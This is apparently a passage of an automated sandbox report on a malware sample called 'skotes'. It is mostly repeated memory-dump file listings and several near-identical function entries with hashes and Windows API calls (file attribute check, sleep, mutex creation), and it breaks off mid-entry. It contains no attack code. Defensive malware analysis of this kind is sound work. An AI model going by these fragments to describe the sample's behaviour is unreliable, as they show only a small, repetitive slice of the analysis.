Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 3b5812489a30899c46302fd8cf9a1bfc91973c4eeb460ba3f112848475f7cb72
Instruction ID: 64a3a3af9f38e2f2d4e79dbcd02b8426cc99e41f2ab3f33fc85f9e4276036912
Opcode Fuzzy Hash: 3b5812489a30899c46302fd8cf9a1bfc91973c4eeb460ba3f112848475f7cb72
Instruction Fuzzy Hash: F0310971B142048BEF08AB7CDDC976EB6ABAB86310F24425CE01497BD6C775498187A1

Function 00699CDA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699CDD
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: b9f3cd4741c20521caa3429cd21aaeea9d70dbea207573f9a5b9e5493db3e00c
Instruction ID: 07187f3faee6933053f74abd6d9513a9914ee39de5583964bfaa55c89d9e257e
Opcode Fuzzy Hash: b9f3cd4741c20521caa3429cd21aaeea9d70dbea207573f9a5b9e5493db3e00c
Instruction Fuzzy Hash: 53313731B142408BEF18DBBCCCC87ADB6ABEF86310F24461CE014A7BD5C7358A848761

Function 00699F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00699F47
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: d4db729ed3c565c8d6375c141202408c29990577edf85bbb390e611caecb2104
Instruction ID: 3283ae752539d50487d84df17eb5195be253cea203a865be5082c045514ac502
Opcode Fuzzy Hash: d4db729ed3c565c8d6375c141202408c29990577edf85bbb390e611caecb2104
Instruction Fuzzy Hash: 74312A31B102048BEF189BBCDC8C7ADB7A7EB85310F20461DE415D7BD5C735598187A2

Function 0069A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A07C
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 2383c3174392d48a56eec9a8557e61e0a47b57f86f0dcd1fec4ca75620d9e70b
Instruction ID: c8307756874489a539c19593c10f295fc9b1d45586142edc71b4ef15c0825e7a
Opcode Fuzzy Hash: 2383c3174392d48a56eec9a8557e61e0a47b57f86f0dcd1fec4ca75620d9e70b
Instruction Fuzzy Hash: 2A312731B102409BEF089BBCCD89BADB7ABEB86314F20421CE01497BD5C77699808796

Function 0069A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A1B1
Sleep.KERNEL32(00000064,?), ref: 0069A963
CreateMutexA.KERNEL32(00000000,00000000,006F3254), ref: 0069A981

Strings

T2o, xrefs: 0069A970

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2o
API String ID: 396266464-2760472518
Opcode ID: 80f2b0e135afb1192687d5d06332ea41b345f7f9a8eaa5a88ed8bef0ac3b3cb0
Instruction ID: 264894f3b2a2b3428b6d4b9c7d78baf3ba2cf510bc0d4219b409db424ee335a5
Opcode Fuzzy Hash: 80f2b0e135afb1192687d5d06332ea41b345f7f9a8eaa5a88ed8bef0ac3b3cb0
Instruction Fuzzy Hash: E1312931B102409BEF089BBCDD8D76DB7B7EB86310F24421CE0149BBD5C7754A808796

Function 0069A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0069A2E6
Sleep.KERNEL32(00000064,?), ref: 0069A963
